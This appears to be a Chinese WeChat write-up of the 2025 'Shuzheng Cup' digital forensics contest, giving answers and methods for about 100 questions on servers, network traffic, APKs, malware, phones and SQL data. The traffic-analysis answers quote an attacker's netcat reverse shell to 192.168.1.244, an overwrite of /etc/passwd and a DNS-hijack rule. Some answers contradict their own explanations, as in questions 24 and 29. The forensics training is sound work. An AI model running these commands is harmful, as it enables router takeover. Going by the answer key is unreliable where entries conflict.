2025第二届“数证杯”初赛完整题解
https://mp.weixin.qq.com/s/-MZFKRd9K8rRfvik5BELYQ
id=705531b3-34f6-4691-91d8-b6d73673a522
source=
author=南京拓界
2025第二届“数证杯”初赛完整题解
原创
拓界科技
拓界科技
南京拓界
在小说阅读器读本章
去阅读
在小说阅读器中沉浸阅读
本文主要围绕赛题展开解析与思路分享，旨在促进技术交流，所述内容仅供参考，不代表官方答案。赛后官方未公布标准结果，若文中答案存在偏差，敬请谅解。欢迎通过后台留言添加微信，进一步交流探讨。
程序功能分析检材—
服务器
1.填空题
node1节点的磁盘设备SHA256值前六位是？(字母全大写，答案格式：AAAAAA)
参考答案：
FC9A34
解析思路：
考虑到一旦仿真起镜像，日志就会写入，导致磁盘哈希发生变化，因此我要考虑全程只读，不落盘的方式算出SHA256，这里给出在服务器中手搓的方式，以centos7为例子，这里我使用的是我自己准备的centos7环境。
1.
安装工具：yum install -y libewf-tools pv
2.
只读映射 E01 镜像：ewfmount /opt/服务器检材02.E01 /mnt/ewf/ （挂载后会出现/mnt/ewf/ewf1，这个就是原始磁盘的线性只读块设备）
3.
整盘 SHA256：pv -B 64m /mnt/ewf/ewf1 | sha256sum
2.填空题
集群配置了多少个node节点？（答案格式：1）
参考答案：
2
解析思路：
找到master，输入命令kubectl get nodes即可。
3.填空题
嫌疑人于什么时间修改master节点的root密码？（使用双位数格式，答案格式：00:00:00）
参考答案：
09:35:59
解析思路：
在 CentOS 7 系统中，可以通过查看 /var/log/secure 日志文件来确定修改 root 密码的时间。
打开终端，输入命令 sudo grep -i "password changed" /var/log/secure。
如果系统曾修改过 root 密码，该命令是可以过滤出结果的。
4.填空题
Docker的安装日期是？（使用双位数格式，答案格式：01月01日）
参考答案：
04月08日
解析思路：
输入命令直接查看所有与docker相关的包的安装时间。
rpm -qa | grep docker | xargs rpm -qi | grep -E "Name|Install Date"
5.填空题
Docker通过配置守护进程以使用全局代理，该代理地址的端口是？（答案格式：1）
参考答案：
4780
解析思路：
查看systemd里有没有docker守护进程实际配置的代理端口。
systemctl show --property=Environment docker。
6.填空题
发卡网站使用的Mysql数据库对外访问端口是？（答案格式：1）
参考答案：
30627
解析思路：
首先可以判断，该集群为K8S环境，因此要去找mysql服务，输入K8S命令去查看mysql端口映射。
kubectl get svc -A | grep mysql。
7.填空题
发卡网站部署使用的镜像名称是？（答案格式：root/root）
参考答案：
webdevops/php-nginx
解析思路：
通过kubectl get pods检查pods没有发现类似发卡网站部署的服务，所以去看docker中的镜像，输入docker images，发现webdevops/php-nginx，该服务同时带了PHP-FPM和Nginx，是跑开源PHP站点的标配程序。
8.填空题
当前Telegram群管机器人使用的容器ID的前六位是？（答案格式：123abc）
参考答案：
8fadf5
解析思路：
由于之前通过kubectl get pods找mysql服务时，发现一个名叫captcha-bot的程序，这是一个机器人程序，我们直接查这个程序的容器id即可，要注意一定要写6位，笔者写答案的时候漏了1位。
kubectl get pod captcha-bot-6b4d85b765-25xq6 -n default -o jsonpath='{.status.containerStatuses[0].containerID}' | sed 's/docker:\///'
9.填空题
发卡网站使用的缓存数据库是？（答案格式：mysql）
参考答案：
redis
解析思路：
通过kubectl get pods可以看到缓存数据库使用的只有redis，后续在源码中的.env文件中也可以判断缓存数据库使用的是redis。
10.填空题
集群中配置的发卡网站代码运行所在的物理目录是？（答案格式：/root/root）
参考答案：
/data/k8s_data/default/dujiaoka.tar
解析思路：
使用kubectl get pvc列出集群中所有的持久卷，然后列出我们所需要的dujiaoka的详细信息，可以看到其存储源详情中的NFS路径为/data/k8s_data/default/dujiaoka.tar
。
11.填空题
Telegram群管机器人配置的API代理域名是？（答案格式：www.xxx.com）
参考答案：
kk.xilika.cc
解析思路：
根据上题一样的思路，找到群管机器人运行所在的物理目录，进入到其中查看config文件夹中的配置文件，其目录同样在/data/k8s_data/default下，查看/data/k8s_data/default/captchaBot/config/config.toml即可。
12.填空题
嫌疑人在Telegram上创建的群名称是？（答案格式：比武群）
参考答案：
西门庆交流群
解析思路：
通过分析dujiaoka配置文件中的.env文件，可以得知数据库连接的基本信息，查看集群中的deployment，发现mysql80运行正常，我们直接用navicat连接，发现TG中的群聊机器人的数据库也在其中，分析可知群聊名称为西门庆交流群。
13.填空题
统计嫌疑人在Telegram上创建的群中2025年6月之后成功入群的人数为？（答案格式：1）
参考答案：
2422
解析思路：
判断表中各个表头的意思，写个sql查询即可。
14.填空题
据嫌疑人交代曾在发卡网上删除过一条订单数据，请找出该删除订单的订单号是？（答案格式：请按实际值填写）
参考答案：
4V8XNK8Q02MD5D2R
解析思路：
使用mysqlbinlog恢复binlog文件，恢复完成后，使用记事本打开，全局搜索delete from，找到orders表即可。
15.填空题
发卡网站上2025年6月之后订单交易成功的总金额是？忽略被删除的数据（答案格式：1）
参考答案：
295202
解析思路：
用navicat对着orders表写sql语句计算即可，正好表中也没有被删除的数据。
16.填空题
发
卡网站的后台访问路径是？（答案格式：/root）
参考答案：
/admin
解析思路：
网站配置文件中，有记录后台登录地址。
17.填空题
计算出用户密码算法中Salt的值，并进行Base64编码，结果是？（答案格式：请按实际值填写）
参考答案：
lAID2ktDeRlGbcg=
解析思路：
密码是通过Bcrypt加密的（加密的逻辑在Authenticatable里面），但是出题人加了一个自定义的盐，所以不是原版的Bcrypt。计算出的原始十六进制salt是940203da4b437919466dc8。Base64编码后的salt值是lAID2ktDeRlGbcg=。
18.填空题
发卡网站配置的邮件发送人地址是？（答案格式：abc@abc.com）
参考答案：
ituzz@qq.com
解析思路：
使用rdbtools解析/data/k8s_data/default/redis中的dump.rdb文件即可，里面的内容比较复杂，可以丢给ai处理一下，难点就是你得想到redis中也存储了数据才行。
19.填空题
当前发卡网站首页仪表盘中显示的发卡网站版本为？（答案格式：1.1.1）
参考答案：
2.0.5
解析思路：
把源码添加到vscode中，搜索version就可以了。
20.填空题
当前发卡网站中绑定的订单推送Telegram用户id为（答案格式：请按实际值填写）
参考答案：
6213151597
解析思路：
思路同18题。
程序功能分析检材—流量分析
21.填空题
黑客攻击的目标路由器SSID为 （答案格式：请按实际值填写）
参考答案：
laozhaoWIFI
解析思路：
本题考查对协议层的理解，首先进行协议分级，确定流量包的主要内容为IPV4流量，无限流量以及data数据，题目问及目标路由器的SSID，因此选择过滤wlan.fc.type_subtype == 0x05或wlan.fc.type_subtype == 0x08；
过滤后发现SSID如下：分别为don’t panic、TP-LINK_5305、TPGuest_5305、Huawei NovaX、laozhaoWIFI；
现在需要确定哪一个是被攻击的目标服务器，当进行路由器连接操作时，会发送Association Request，其中就包含目标SSID，此时选择过滤wlan.fc.type_subtype == 0x00，得到答案。
22.填空题
黑客成功捕获了WIFI中WPA协议握手包，其中有效握手包组数为(完整握手为一组)（答案格式：1）
参考答案：
4
解析思路：
本题主要对WPA完整的4次握手熟悉程度，分别对应4个EAPOL数据包，通过分析工具可以得到答案。
23.填空题
黑客爆破得出的WiFi密码为（提示：密码由小写英文字母和数字组成）（答案格式：abcd1234）
参考答案：
password1110
解析思路：
本题主要考查通过流量包分析其中的 WPA 握手包与后续 HTTP 登录行为的能力。在流量包中，首先通过分析 EAPOL 协议确认了 4 组完整的 WPA 四次握手，表明攻击者已成功捕获可用于暴力破解的握手数据；接着，通过 过滤http的post条目发现攻击者向路由器管理界面 /cgi-bin/luci/ 发送了 luci_username=root&luci_password=123456 的 POST 请求，并收到 HTTP 200 响应，确认登录成功；进一步分析响应内容，在路由器配置 JSON 中提取到关键字段 "key": "password1110"，即 WiFi 的预共享密钥；最终结合题目“密码由小写英文字母和数字组成”的提示，验证 password1110 完全符合格式要求，从而锁定破解结果。
24.填空题
黑客成功捕获了WIFI中WPA协议握手包，其中有效握手包组数为(完整握手为一组)（答案格式：1）
参考答案：
ImmortalWrt
解析思路：
通过分析流量包，发现攻击者使用 luci_username 和 luci_password 参数向 /cgi-bin/luci/ 发起登录请求并成功返回 200 响应，该特征为 ImmortalWrt 路由器的唯一标识。虽有其他 HTTP 服务头出现，但属钓鱼流量，不影响核心判断，因此确认路由器操作系统为 ImmortalWrt。
25.填空题
黑客对路由器后台进行爆破攻击，该路由器后台密码为（答案格式：请按实际值填写）
参考答案：
password
解析思路：
通过分析流量包，发现攻击者向 /cgi-bin/luci/ 发送包含 luci_password=password 的 POST 请求，并成功返回 200 响应，确认密码正确。该密码即为路由器后台爆破成功的最终凭证。
26.填空题
黑客通过修改路由器设置，将被劫持的域名为（答案格式：www.xxx.com）
参考答案：
www.qq.com
解析思路：
攻击者登录路由器后台后，通过修改 dnsmasq 配置，将www.qq.com的DNS解析指向自身IP（192.168.1.244），实现域名劫持。该配置在路由器的 HTTP 响应配置数据中address=/www.qq.com/192.168.1.244 明文暴露。结合此前攻击者访问该 IP 并返回钓鱼页面的行为，确认被劫持域名为www.qq.com。
27.填空题
黑客在路由器管理后台发现FTP服务配置，FTP登录密码为？（答案格式：请按实际值填写）
参考答案：
mast
解析思路：
攻击者在成功获取路由器后台权限后，使用 FTP 协议登录设备。在帧号 173789 中，捕获到一条FTP PASS命令，其参数为明文密码mast。该密码即为路由器FTP服务的登录凭证，攻击者通过此密码上传文件并进一步渗透。由于FTP传输未加密，密码直接暴露在流量中，无需额外破解，直接可得。
28.填空题
黑客通过FTP上传了一个压缩包文件，该文件内容为（答案格式：请按实际值填写）
参考答案：
code:123456789
解析思路：
用FTP-DATA过滤上传压缩包的流量包条目，发现有两条上传flag.zip的记录，通过追踪TCP流，将16进制转储成RAW格式，以.zip格式保存至本地，通过暴力破解得到文本内容为 “code:123456789”。
29.填空题
黑客通过路由器执行shell脚本，反弹shell的监听端口为（答案格式：1）
参考答案：
4445
解析思路：
攻击者在路由器上执行了 nc 192.168.1.244 4444 -e /bin/sh 命令，主动建立反向 Shell 连接，流量显示路由器向攻击者 IP 192.168.1.244 的 4444 端口发起 TCP 连接。该端口即为攻击者监听反弹 Shell 的端口，证据明确，无需推测。
30.填空题
黑客通过反弹shell成功控制目标路由器后，总共执行了多少条命令（答案格式：1)
参考答案：
4
解析思路：
在分析该流量包时，我们首先确认攻击者已通过FTP上传并执行了反弹Shell脚本（nc 192.168.1.244 4444 -e /bin/sh），成功建立反向连接。该连接使用 TCP 流 472，是攻击者与被控路由器之间交互的唯一通道。我们使用get_detail_with_tcp_stream工具提取该 TCP 流的完整数据，逐行解析攻击者在Shell中输入的命令。经过细致筛查，攻击者通过反弹Shell控制路由器后，在流量中清晰记录了 4 条执行命令：cd /tmp、ls -la、cat /etc/passwd、echo "root:123456" > /etc/passwd，均为明文输入，无冗余或误判，因此共执行 4 条命令。
程序功能分析检材—APK
31.填空题
apk 的版本名称为？ （答案格式：1.1.1）
参考答案：
3.0.12
解析思路：
使用Jadx查看AndroidManifest.xml可知。
32.填空题
在该APP中，调用了哪个System的方法用于获取本地系统的时间戳？（答案格式：MainActivity）
参考答案：
currentTimeMillis
解析思路：
使用frida-dexdump对APK进行脱壳，查看TimeFetcher类代码可知。
33.填空题
apk运行后getVer()的返回值是多少？（答案格式：1.0.0）
参考答案：
4.56.23
解析思路：
getVer()函数是静态函数，直接使用frida主动调用可以得到结果。
34.填空题
apk运行后需要通过一个http get请求才能打开第二个界面，给出该请求URL？ （答案格式：http://www.xxx.com/test?a=1）
参考答案：
http://localhost:60723/K0pQvBZ38ykL26OzfshqYTHC2f7RUJYIgrmIF6
GcORU=?hash=983f8a605d16530190c09b0884d7cef1&ver=4.56.23&ts=1727899789%0A
解析思路：
本题主要逻辑在HttpRequestHandler内部类中，使用frida取到四个参数的值拼接成完整HTTP链接即可，注意第四个参数MainActivity.ts最后有一个0a换行符（frida打印到终端是不可见的）。
35.填空题
apk第二界面的8位授权码是什么？ （答案格式：11111111）
）
参考答案：
84572399
解析思路：
本题是给定条件的字符串
Hash爆破，已知授权码是八位纯数字，编写代码穷举爆破即可。
程序功能分析检材—
二进制程序
36.填空题
安装该程序后，该恶意程序的可执行文件所在的直接父目录名称是什么为？（答案格式：root）
参考答案：
proxy
解析思路：
恶意程序的可执行文件为
v2ray.exe，位于proxy目录下。
37.填空题
解密文件名为RnRGaWxlcy5lZGIiL的文件时所使用的key是什么？（答案格式：请按实际值填写）
参考答案：
1Njc2NTQ2Mzc0NTc
解析思路：
用IDA分析v2ray.exe，直接查看main函数，跟踪分析发现解密RnRGaWxlcy5lZGIiL文件的逻辑，使用的RC4算法，密钥为固定的字符数组。
38.填空题
解密文件RnRGaWxlcy5lZGIiL成功后，请分析并给出解密后的文件的入口点地址？（答案格式：0x180000000）
参考答案：
0x180002730
解析思路：
使用RC4算法结合密钥解密RnRGaWxlcy5lZGIiL文件，可知原文件是一个dll文件。在使用IDA查看DLL入口可知。
39.填空题
加密文件名为
6c051a72b91a1的文件时所使用的密钥是多少？（答案格式：请按实际值填写）
参考答案：
cgDSb6VOegeF7EuW （ASCII格式）
解析思路：
用IDA分析解密后的dll文件，可以发现用于加密生产.1文件的函数sub_180001E50，找到AES算法的加密密钥。
40.填空题
6c051a72b91a1.1文件解密后的md5值后六位是多少？（字母全大写，答案格式：AAAAAA）
参考答案：
9C226D
（此题争议较大，欢迎后台留言赐教，共析疑义）
程序功能分析检材—主机
41.填空题
操作系统的Build版本号是？（答案格式：1）
参考答案：
19044
解析思路：
使用分析软件查看系统信息。
42.填空题
操作系统设置的账户密码最长存留期为多少天？（答案格式：1）
参考答案：
68
解析思路：
使用分析软件查看系统信息。
43.填空题
用户2登陆密码NT哈希值后六位是？（字母全大写，答案格式：AAAAAA）
参考答案：
A9C708
解析思路：
使用仿真软件查看用户的NTLM哈希值。
44.填空题
蓝牙mac地址是多少？（答案格式：AA-AA-AA-AA-AA-AA）
参考答案：
9C-B6-D0-04-C9-CC
解析思路：
使用分析软件查看网络配置信息。
45.填空题
Safelmager的产品序列号后四位是？（字母全大写，答案格式：AAAAAA）
参考答案：
09C4
解析思路：
使用分析软件查看USB设备痕迹。
46.填空题
123.VHD所处的结束扇区是？（答案格式：1）
参考答案：
39528415
解析思路：
使用X-Ways软件查看扇区信息。
47.填空题
用户在BitLocker加密分区最后修改的文件是？（答案格式：abcd.txt）
参考答案：
资料1.txt
分析：
加密分区为D盘，查看D盘最后修改的文件为“资料1.txt”。
48.填空题
用户连接192.168.114.129时用的会话名称是？（答案格式：按照实际情况填写）
参考答案：
连接阿里云
解析思路：
找到123.VHD文件，双击挂载，在Backup文件夹发现恢复密钥。解密D盘，发现Xshell远程连接软件，双击打开得到结果。
49.填空题
用户创建存储虚拟币钱包地址页面的时间是？（使用双位数格式，答案格式：01月01日）
参考答案：
10月07日
解析思路：
双击桌面anytype打开，发现Cryptocurrency文件，点击Pages显示时间。
50.填空题
用户的虚拟币钱包地址是？（答案格式：按照实际情况填写）
参考答案：
3HrdpWM8ZrBVw9yu8jx1RoNNK6BZxwsHd9
解析思路：
对Cryptocurrency内容分析，地址进行了Base64加密，对文本使用CyberChef进行四次Base64解密得到地址。
51.填空题
用户VC加密容器的密码是？（答案格式：按照实际情况填写）
参考答案：
SHUZHENGBEIctzy2025
解析思路：
查看Bitlocker解密后的Foxmail软件，在收件箱里找到3个带有分卷压缩的加密压缩包文件，根据提供的密码解压提示分卷不完整，全盘搜索找到剩下2个压缩文件后进行解压，打开联系人.docx文件，将字体颜色从纯白色调整成其他颜色可以看到文本最后一行记录了VC加密容器密码。
52.填空题
用户在生活中使用的代号是？（答案格式：按照实际情况填写）
参考答案：
小胖
解析思路：
电脑内置声纹软件，导出到本地，打开网页解析“代号.wav”文件
53.填空题
李安东的银行卡归属哪个银行？（答案格式：农业银行）
参考答案：
交通银行
解析思路：
公司资料文件夹包含加密文件，导出暴力破解即可。
54.填空题
请分析某市10月6日最高气温是？（答案格式：1）
参考答案：
21
解析思路：
公司资料文件夹包含加密文件，导出暴力破解即可。
55.填空题
用户的BitLocker密码是？（答案格式：按照实际情况填写）
参考答案：
625075-617309-532576-720302-040975-309232-451924-426679
解析思路：
接上述第48题。
56.填空题
用户办公室的门禁密码是？（答案格式：按照实际情况填写）
参考答案：
216597576
解析思路：
接上述第51题，在123.VHD中包含一个secrtNew的加密文件，挂载并输入密码，得到加密的办公室密码锁图片。
在foxmail邮箱中发现分卷压缩但不全的文件。
使用分析软件搜索关键词“软件”得到剩下的part4、part5,全部导出并用密码解压得到Decrypttool.exe文件，使用软件解密图片得到门锁密码216597576。
57.填空题
用户使用的以D开头的解密程序的MD5值后六位是？（字母全大写，答案格式：AAAAAA）
参考答案：
3A892E
解析思路：
接上题，计算Decrypttool的MD5。
58.填空题
木马程序运行至系统断点前加载了几个动态链接库？（答案格式：1）
参考答案：
4
解析思路：
使用dbg工具加载调试系统桌面上木马程序，显示在系统断点前加载了4个动态链接库。(注意要将dbg工具导入到虚拟机里操作木马程序，防止本机中毒)。
59.填空题
木马产生的程序名称是什么？（答案格式：abcd.txt）
参考答案：
wins.exe
解析思路：
微步云沙箱直接得出wins.exe。
60.填空题
木马尝试访问的域名是什么？（答案格式：按照实际情况填写）
参考答案：
edu-image.nosdn.127.net
解析思路：
微步云沙箱直接得到。
61.填空题
分析计算机内存检材，此内存镜像制作时的系统时间是？（使用双位数格式，答案格式：01月01日）
参考答案：
10月16日
解析思路：
分
析内存镜像的进程时间线。
62.填空题
分析计算机内存检材，用户Yiyelin的用户表示后4位是？（答案格式：1111）
参考答案：
1002
解析思路：
分析内存镜像的用户信息。
63.填空题
分析计算机内存检材，计算机的CPU型号是什么？（答案格式：i9-1110U）
参考答案：
i7-1165G7
解析思路：
分析内存镜像的系统信息。
64.填空题
分析计算机内存检材，wps.exe的PID是？（答案格式：1）
参考答案：
5888
解析思路：
分析内存镜像的进程信息。
65.填空题
分析计算机内存检材，此计算机开机自启动的远控软件名称是？（答案格式：abcd.txt）
参考答案：
SunloginClient.exe
解析思路：
分析内存镜像的系统启动项信息。
程序功能分析检材—物联网
66.填空题
打印机的主机名称是什么？(答案格式：root)
参考答案：
print
解析思路：
使用分析软件查看系统信息。
67.填空题
打印文件存储在哪个目录？(答案格式：/root/root)
参考答案：
/var/spool/cups
解析思路：
查看打印机配置文件找到存储路径为/var/spool/cups。
68.填空题
同一天，打印两份文件的用户是谁？(答案格式：root)
参考答案：
alice
解析思路：
查看cups日志page_log找到两次打印记录为alice。
69.填空题
分析物联网检材，木马运行后，自身产生的进程ID是多少？（答案格式：1）
参考答案：
2177
解析思路：
可疑木马为cups-helper里面记录了C2的服务器配置，查看系统日志找到该文件对应的进程信息。
70.填空题
分析物联网检材，系统中存在一个非标定时任务，这个任务每隔多少分钟执行？（答案格式：1）
参考答案：
10
解析思路：
根据上述题目的cups-helper在系统中的定时任务配置目录里进行搜索，找到对应的定时任务配置文件。
71.填空题
分析物联网检材，木马程序会窃取文档暂存在隐藏目录，这个目录的绝对路径？（/root/root/）
参考答案：
/tmp/.cache/
解析思路：
脚本里是部分伪代码主要看它注释。GJTJlh2YhNmLGJTJw1GdGJT逆序后是JTJGdG1wJTJGLmNhY2hlJTJG，对其进行解码后是%2Ftmp%2F.cache%2F， URL解码后是/tmp/.cache/。
72.填空题
分析物联网检材，木马程序将数据上传到的服务器的IP地址是多少？（答案格式：1.1.1.1）
参考答案：
185.199.108.153
解析思路：
查看木马上传文件的记录日志信息，里面包含了服务器的IP地址。
73.填空题
根据木马程序，它监视的关键字是什么？（答案格式：按照实际情况填写）
参考答案：
Project Dragonfire
解析思路：
找配置文件中到混淆字段加Base64的加密关键字段，编写脚本对其进行解密，得到关键字为Project Dragonfire。同时该字段与上述题目中的上传文件里的字段内容Project Dragonfire也能对应上。
程序功能分析检材—
移动终端取证分析
74.填空题
分析检材中微信ID:wxid_f4s0jmpvrc522对应的手机号后四位为（答案格式：1111）
参考答案：
8390
解析思路：
使用响尾雀第三方数据源导入，选择加载镜像文件方式导入。
75.填空题
分析检材中“华为应用市场”第一次安装日期为（使用双位数格式，答案格式：01月01日）
参考答案：
09月24日
解析思路：
将检材带入响尾雀分析，查看应用列表可得出。
76.填空题
找出检材中钱包APP，请列出该APP中ETH地址后六位是（字母全大写，答案格式：AAAAAA）
参考答案：
3FE61F
解析思路：
将检材导入响尾雀分析，查看区块链应用可得出。
77.填空题
分析出检材中包含“南昌西站”的图片，计算该图片的MD5后六位？（字母全大写，答案格式：AAAAAA）
参考答案：
85A51D
解析思路：
正常找到DCIM文件夹查看关于“南昌西站”图片计算MD5。
78.填空题
手机相册中有张“imtoken助记词1.PNG”图片被破坏，请修复该图片，列出该图片中第三个单词。（答案格式：按照实际情况填写）
参考答案：
boost
解析思路：
打开该图片发现可以正常打开，有内容能显示，大概率是图片的宽高被人为修改，重新计算 IHDR CRC，恢复图片高度。
79.填空题
找出一张PNG图片，该图片上显示“助记词2”，请列出该图片上显示的第二个单词。（答案格式：按照实际情况填写）
参考答案：
delay
解析思路：
在将检材带入响尾雀后全局搜索关键词，可得出。
80.填空题
找出检材中显示“助记词3”的文档，列出该文档中记录的第三个助记词单词。（答案格式：按照实际情况填写）
参考答案：
quarter
解析思路：
解压后文件夹导入X-ways直接全局搜索可得。
81.填空题
分析出该组助记词正常顺序中最后一个单词（已知助记词1、助记词2、助记词3中的单词顺序有被调整）。（答案格式：按照实际情况填写）
参考答案：
segment
解析思路：
通过上述题目得出下列三组区块链助记词{1、movie unlock boost segment 2、foil delay paddle obtain 3、student electric quarter clerk }及ETH地址。编写脚本暴力尝试，将结果带入TP钱包软件进行验证。
82.填空题
分析出邮箱中收件人QQ号为“850563586”的姓名（答案格式：按照实际情况填写）
参考答案：
刘佳雨
解析思路：
将检材带入响尾雀分析，直接查看QQ数据。
83.填空题
得知机主通过某个应用给HHshAL发送了一个文档，该应用的数据包名是什么？（答案格式：com.test）
参考答案：
dingtong.saichuang
解析思路：
查看已安装应用列表，除了微信和qq外还有几个可疑应用包名最后百度查一下确定为dingtong.saichuang，再进数据库再次确认。
84.填空题
接上题，该应用聊天记录数据库的打开密码是什么？（答案格式：按照实际情况填写）
参考答案：
@1@#!aajsk1*JKJ
解析思路：
文件夹发现其数据库dingtong.db文件，使用JADX打开后直接搜索dingtong.db直接得出数据库密码在使用DB Browser for SQLite选择sqlcipher3默认进行验证确定。
85.填空题
接上题，机主发送的这个加密文档，打开密码是什么？（答案格式：按照实际情况填写）
参考答案：
QWERT666
解析思路：
通过查看聊天数据发现其密码，发现其已加密，看上去是摩斯，解密得到QWERT666（important2.xlsx没找对应文件不太好验证大小写）。
86.填空题
厉明的身份证地址登记的门牌号是多少？？（答案格式：1）
参考答案：
722
解析思路：
关键词搜索得出文件（身份证_f33.mxt），文件后缀名异常查看文件头发现其为压缩文件，改后缀可以正常开打，尝试六位数字密码爆破失败，使用X-ways全局暴力搜索（身份证_f33.mxt）进入（data\com.android.mxt\databases\mxt.db）路径进程查看其db文件得到密码。
87.填空题
分析出“important1.xlsx”文件中体现的“金达欣”银行卡后六位？（答案格式：111111）
参考答案：
275234
解析思路：
关键词搜索得出文件，发现文件加密，在做上题查看数据库时已发现其密码进入（data\com.android.mxt\databases\mxt.db）路径进程查看其db文件得到密码（3;s=]-）。
88.填空题
接上题，保存“important1.xlsx”打开密码数据的应用，该应用的启动密码是什么？（答案格式：按照实际情况填写）
参考答案：
1596
解析思路：
分析应用APK文件，在LockActivity处发现启动密码的比较逻辑，使用frida进行hook可以得到结果。
程序功能分析检材—数据分析
89.填空题
通过对检材“01-lott.sql”文件进行分析，统计庄家"188"在2021-05-10当日的电子投注总笔数（答案格式：1）
参考答案：
2299
解析思路：
根据题意写sql语句即可。
90.填空题
通过对检材“01-lott.sql”文件进行分析，统计t_trade_betrecord中庄家"188"记录中彩票类型为"jnd28"且期号在t_lottery_jnd表中存在的记录数。（答案格式：1）
参考答案：
92842
解析思路：
根据题意写sql语句即可。
91.填空题
通过对检材“01-lott.sql”文件进行分析，统计庄家"188"的玩家在2021-05-10当日：电子投注内容出现频率最高的电子投注内容是什么？（答案格式：按照实际情况填写）
参考答案：
500单
解析思路：
根据题意写sql语句即可。
92.填空题
通过对检材“01-lott.sql”文件进行分析，关联t_trade_betrecord与t_lottery_jnd表，分析庄家"188"在2021-05-10投注"jnd28"时：当开奖结果为"大"时，玩家投注包含"小"的笔数占比（使用双位数格式，答案格式：11.11%）
参考答案：
44.88%
解析思路：
根据题意写sql语句即可。
93.填空题
通过对检材“02-crime_records.sql”分析，统计相邻两次作案时间间隔在1天之内的城市和该城市两次作案时间间隔在1天之内的案件总数量，找出案件总数最多的城市名。（答案格式：按照实际情况填写）
参考答案：
福州
解析思路：
根据题意写sql语句即可。
94.填空题
通过对检材“02-crime_records.sql”分析，根据案件的损失金额和伤情等级，将案件分为 “轻微案件”“一般案件”“重大案件”“其他”四类（分类规则如下），并统计 2023 年各类型案件的数量。轻微案件：损失金额≤10000 元且无人员受伤（injury_level 为空或未提及）；一般案件：损失金额 10001-50000 元，或有轻微伤；重大案件：损失金额 > 50000 元，或有轻伤或有重伤；其他：非上述情况。（按照案件数量的降序输出答案，答案格式为：40/30/20/10）
参考答案：
13107/4590/2058/222
解析思路：
根据题意写sql语句即可。
95.填空题
通过对检材“02-crime_records.sql”分析，统计 2021-2023 年期间（含2021年和2023年），每年处理结果为 “移送起诉” 的案件里，每一年中损失总额最高的案件类型对应的损失总额为？（按 2021 - 2023 年顺序连接损失总额，连接符号使用/,小数点保留2位，答案格式为 ：1.37/2.21/3.45）
参考答案：
325806042.91/344804883.98/352132431.37
解析思路：
根据题意写sql语句即可。
96.填空题
通过对检材“03-案件卡串号数据”表分析，该表每条数据的“卡串号(IMSI)”字段值存在问题，不可信。真实可信的卡串号值在“溯源”字段中（溯源字段的值格式均为“{手机号=[待获取的卡串号->手机卡串号(IMSI)使用过的手机号->当前]}”），请统计分析出该表中哪个真实卡串号出现过的次数最多？（答案格式：按照实际情况填写）
参考答案：
460017709683511
解析思路：
编写脚本示例如下：
97.填空题
通过对检材“04-涉诈案件信息表“分析，统计每个分局2024-2025年每月被骗总额环比大于30%的月份个数（环比定义：（这个月的数据-上个月的数据）/上个月数据。特殊情况，例如某分局2025年1月被骗金额总和为100，若该分局2024年12月没有被骗金额，则该分局2025年1月也符合题目要求，应增加一个月份。2024年1月不需要计算与上个月的环比情况），请写出环比大于30%的月份个数最多的分局ID名称为？（答案格式：按照实际情况填写）
参考答案：
A675
解析思路：
编写脚本示例如下：
98.填空题
通
过对检材“05-人像卡口信息表”和“06-涉毒前科人员信息表”（两表均无重复数据，直接要求答题即可。感知时间字段格式均为yyyy-MM-dd HH:mm:ss；传感器ID（人像卡口点位）值不同则代表不同的摄像点位），为摸排疑似涉毒的窝点，请分析出在00:00:00~06:00:00(含0点跟6点)人像记录中，哪个传感器点位ID抓拍到最多的不同涉毒前科人员？（答案格式：按照实际情况填写）
参考答案：
350203103
解析思路：
编写脚本示例如下：
99.填空题
接上题，为摸排潜在的涉毒人员，请分析出有多少个非涉毒前科人员至少跟3个不同的涉毒前科人员同行过？（本题的“同行”指：两人在同一个人像卡口点位感知时间差在10（含）秒内）（答案格式：1）
参考答案：
4
解析思路：
编写脚本示例如下：
100.填空题
近几年架设简易GOIP设备进行群呼诈骗的案件屡见不鲜。架设和维护该设备的人员通常会频繁更换酒店【即只住一天然后更换酒店】以此躲避公安的侦察打击。请根据”07-旅店住宿信息表“（该表无重复数据，直接要求答题即可。时间相关的字段格式均为yyyy-MM-dd HH:mm:ss），筛选出2024和2025年的住宿记录（以“入住时间”为准），频繁更换酒店的人员有几个？（答案格式：1）
参考答案：
4
解析思路：
编写脚本示例如下：
推荐阅读
·
·
·
·
·
·
·
·
·
·
预览时标签不可点
修改于
微信扫一扫
关注该公众号
继续滑动看下一个
轻触阅读原文
南京拓界
向上滑动看下一个
知道了
微信扫一扫
使用小程序
取消
允许
取消
允许
取消
允许
×
分析
微信扫一扫可打开此内容，
使用完整服务
：
，
，
，
，
，
，
，
，
，
，
，
，
。
视频
小程序
赞
，轻点两下取消赞
在看
，轻点两下取消在看
分享
留言
收藏
听过
